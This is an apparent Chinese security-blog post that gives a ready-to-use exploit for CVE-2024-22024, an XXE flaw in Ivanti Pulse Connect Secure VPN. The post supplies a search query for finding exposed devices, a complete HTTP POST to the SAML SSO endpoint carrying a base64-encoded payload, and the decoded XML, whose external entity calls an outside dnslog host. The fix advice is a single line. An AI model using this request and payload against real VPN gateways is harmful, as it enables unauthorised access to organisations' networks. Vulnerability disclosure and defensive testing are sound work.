正文

叮～你有新的速递！CVE-2024-22024 漏洞（附EXP）

admin
admin V管理员 /0 评论 /550 阅读
0227
此篇文章发布距今已超过394天，您需要注意文章的内容或图片是否可用！

0x01 前言

    Ivanti Pulse Connect Secure VPN 存在XXE 漏洞，攻击者可构造恶意请求进而触发XXE，通过该漏洞可以获取服务器权限。

0x02 影响平台

Ivanti Pulse Connect Secure VPN

0x03 漏洞复现

搜索语法

body="welcome.cgi?p=logo"

页面是这个酱紫

EXP如下：

POST /dana-na/auth/saml-sso.cgi HTTP/1.1Host: ipUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36Connection: closeContent-Length: 172Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzipSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vMHVyeDNsLmRuc2xvZy5jbi94Ij4gJXdhdGNoVG93cjtdPjxyPjwvcj4=

需要Base64编码的XML文件内容如下：

<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM    "http://0urx3l.dnslog.cn/x"> %watchTowr;]><r></r>

Success~

0x04 修复方案

建议及时更新至最新版本！


推荐站内搜索：最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
ZhouSa.com-宙飒天下网